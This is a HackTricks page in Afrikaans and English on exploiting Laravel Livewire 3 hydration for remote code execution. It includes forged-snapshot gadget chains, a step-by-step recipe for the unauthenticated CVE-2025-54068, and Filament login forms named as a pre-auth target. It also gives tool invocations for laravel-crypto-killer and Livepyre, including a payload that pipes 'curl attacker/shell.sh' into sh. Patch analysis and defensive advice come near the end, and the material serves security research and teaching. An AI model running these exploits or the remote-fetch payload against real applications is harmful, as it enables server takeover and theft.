Laravel Livewire Hydration & Synthesizer Abuse
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.
Opsomming van die Livewire state machine
Livewire 3 komponente ruil hul state uit deur snapshots wat data, memo, en ’n checksum bevat. Elke POST na /livewire/update herlaai die JSON-snapshot aan die serverkant en voer die gequeue calls/updates uit.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Enigeen wat APP_KEY hou (gebruik om $hashKey af te lei) kan dus arbitrêre snapshots forge deur die HMAC te herbereken.
Komplekse eienskappe word gekodeer as synthetic tuples wat deur Livewire\Drawer\BaseUtils::isSyntheticTuple() opgespoor word; elke tuple is [value, {"s":"<key>", ...meta}]. Die hydration core delegeer eenvoudig elke tuple na die synth wat in HandleComponents::$propertySynthesizers gekies is en recurses oor children:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Hierdie recursive ontwerp maak Livewire ’n generic object-instantiation engine sodra ’n attacker óf die tuple metadata óf enige geneste tuple wat tydens recursion verwerk word, beheer.
Synthesizers wat gadget primitives gee
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Instantiates new $meta['class']($value) nadat elke child herhidreer is. Enige class met ’n array constructor kan geskep word, en elke item kan self ’n synthetic tuple wees. |
FormObjectSynth (form) | Roep new $meta['class']($component, $path) aan, en ken dan elke public property toe vanaf attacker-controlled children via $hydrateChild. Constructors wat twee loosely typed parameters (of default args) aanvaar, is genoeg om arbitrary public properties te bereik. |
ModelSynth (mdl) | Wanneer key afwesig is uit meta, voer dit return new $class; uit, wat zero-argument instantiation van enige class onder attacker control moontlik maak. |
Omdat synths $hydrateChild op elke geneste element aanroep, kan arbitrary gadget graphs gebou word deur tuples rekursief te stapel.
Forging snapshots wanneer APP_KEY bekend is
- Capture ’n geldige
/livewire/updaterequest en decodecomponents[0].snapshot. - Inject geneste tuples wat na gadget classes wys en herbereken
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode die snapshot, laat
_token/memoonaangeraak, en replay die request.
’n Minimal proof of execution gebruik Guzzle’s FnStream en Flysystem’s ShardedPrefixPublicUrlGenerator. Een tuple instantiates FnStream met constructor data { "__toString": "phpinfo" }, die volgende instantiates ShardedPrefixPublicUrlGenerator met [FnStreamInstance] as $prefixes. Wanneer Flysystem elke prefix na string cast, roep PHP die attacker-provided __toString callable aan, en noem enige function sonder arguments.
Van function calls na full RCE
Deur Livewire se instantiation primitives te benut, het Synacktiv phpggc se Laravel/RCE4 chain aangepas sodat hydration ’n object boot waarvan die public Queueable state deserialization trigger:
- Queueable trait – enige object wat
Illuminate\Bus\Queueablegebruik, stel public$chainedbloot en voerunserialize(array_shift($this->chained))uit indispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) word viaCollectionSynth/FormObjectSynthgeïnstansieer met public$chainedingevul. - phpggc Laravel/RCE4Adapted – die serialized blob wat in
$chained[0]gestoor word, bouPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()roep uiteindelikcall_user_func_array($closure, $args)aan, watsystem($cmd)moontlik maak. - Stealth termination – deur ’n tweede
FnStreamcallable soos[new Laravel\Prompts\Terminal(), 'exit']te gee, eindig die request metexit()in plaas van ’n lawaaierige exception, en hou die HTTP response skoon.
Automating snapshot forgery
synacktiv/laravel-crypto-killer ship nou ’n livewire mode wat alles saamvoeg:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Die tool ontleed die vasgelegde snapshot, spuit die gadget-tuples in, herbereken die checksum, en druk ’n gereed-om-te-stuur /livewire/update payload uit.
CVE-2025-54068 – RCE without APP_KEY
Volgens die vendor advisory raak die issue Livewire v3 (>= 3.0.0-beta.1 en <= 3.6.3) en is uniek aan v3.
updates word saamgevoeg in component state ná die snapshot checksum gevalideer is. As ’n property binne die snapshot ’n synthetic tuple is (of word), hergebruik Livewire sy meta terwyl dit die attacker-controlled update value hydrate:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit-resep:
- Vind
n Livewire component metn ongetikte public property (bv.public $count;). - Stuur
n update wat daardie property op[]stel. Die volgende snapshot stoor dit nou as[[], {“s”: “arr”}]`.
`n Minimum type-juggling flow lyk so:
POST /livewire/update
...
"updates": {"count": []}
Dan stoor die volgende snapshot n tuple wat die arr` synthesizer metadata behou:
"count": [[], {"s": "arr"}]
- Bou
n anderupdatespayload waar daardie propertyn diep geneste array bevat wat tuples insluit soos[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Tydens recursion evalueer
hydrate()elke geneste child onafhanklik, so attacker-gekose synth keys/classes word gehonoreer selfs al het die buitenste tuple en checksum nooit verander nie. - Hergebruik dieselfde
CollectionSynth/FormObjectSynthprimitives omn Queueable gadget te instansieer wie se$chained[0]die phpggc payload bevat. Livewire verwerk die forged updates, roepdispatchNextJobInChain()aan, en bereiksystem() sonder omAPP_KEY` te ken.
Belangrike redes waarom dit werk:
updatesword nie deur die snapshot checksum gedek nie.getMetaForPath()vertrou watter synth metadata ook al reeds vir daardie property bestaan het, selfs al het die attacker dit vroeër gedwing om `n tuple te word via weak typing.- Recursion plus weak typing laat elke geneste array toe om as `n splinternuwe tuple geïnterpreteer te word, sodat arbitrêre synth keys en arbitrêre classes uiteindelik hydration bereik.
Hoë-waarde pre-auth target: Filament login forms
Applications wat bo-op Livewire gebou is, stel dikwels n selfs makliker pre-auth oppervlak bloot as n toy public $count; property. Byvoorbeeld, Filament login pages hydrate gewoonlik n swak getikte $formobject wat reeds asn form tuple in die snapshot geserialiseer is. Dit verwyder die “scalar -> array -> arr tuple” setup-stap heeltemal:
- Die snapshot bevat reeds iets soos
{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}. n Attacker kanupdates.formmet geneste kwaadwillige tuples direk stuur, want recursion sal uiteindelik children soos[payload, {“s”:“clctn”,“class”:“GuzzleHttp\Psr7\FnStream”}]` herinterpreteer.- Dit is waarom pre-auth Livewire entrypoints wat
FormObjectSynthobjects blootstel, veral aantreklik is: hulle verskaf reeds beide instantiation en public-property assignment.
Patch analysis: preserve raw metadata during update recursion
Die fix stel n toegewyde hydratePropertyUpdate()path bekend sodat geneste update values nie meer generiesehydrate($child, …)` op attacker-beheerde children aanroep nie:
protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}
Sekuriteit-impak van die patch:
- Geneste updates word weer gevalideer teen die oorspronklike raw snapshot path in plaas daarvan om nuwe, aanvaller-gesuiplexte tuple metadata te vertrou.
- Rekursiewe hydration laat nie meer toe dat children
sofclassmid-flight herdefinieer nie. - Dit blok beide arbitrary synthesizer switching en arbitrary class selection binne geneste update arrays.
Livepyre – end-to-end exploitation
Livepyre outomatiseer beide die APP_KEY-less CVE en die signed-snapshot path:
- Fingerprints die ontplooiede Livewire version deur
<script src="/livewire/livewire.js?id=HASH">(of?v=HASH) te parse en die hash na vulnerable releases te map. - Versamel baseline snapshots deur benign actions te herhaal en
components[].snapshotte ekstraheer. - Genereer óf
nupdates-only payload (CVE-2025-54068) ófn forged snapshot (known APP_KEY)` wat die phpggc chain insluit. - As geen object-typed parameter in
n snapshot gevind word nie, val Livepyre terug na brute-forcing candidate params omn coercible property te bereik.
Tipiese gebruik:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check voer ’n nie-vernietigende probe uit, -F slaan weergawe-gating oor, -H en -P voeg custom headers of proxies by, en --function/--param pas die php function aan wat deur die gadget chain opgeroep word.
Defensive considerations
- Gradeer op na gefikste Livewire builds (>= 3.6.4 volgens die vendor bulletin) en ontplooi die vendor patch vir CVE-2025-54068.
- Vermy swak getikte publieke properties in Livewire components; eksplisiete scalaar tipes keer dat property values na arrays/tuples gedwing word.
- Registreer net die synthesizers wat jy werklik nodig het en behandel user-controlled metadata (
$meta['class']) as ontrusted. - Verwerp updates wat die JSON type van ’n property verander (bv. scalar -> array) tensy dit eksplisiet toegelaat word, en herlei synth metadata in plaas daarvan om verouderde tuples te hergebruik.
- Roteer
APP_KEYdadelik na enige disclosure omdat dit offline snapshot forging moontlik maak, maak nie saak hoe gepatch die code-base is nie.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
- livewire/livewire commit
ef04be7– Fix property update hydration
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.


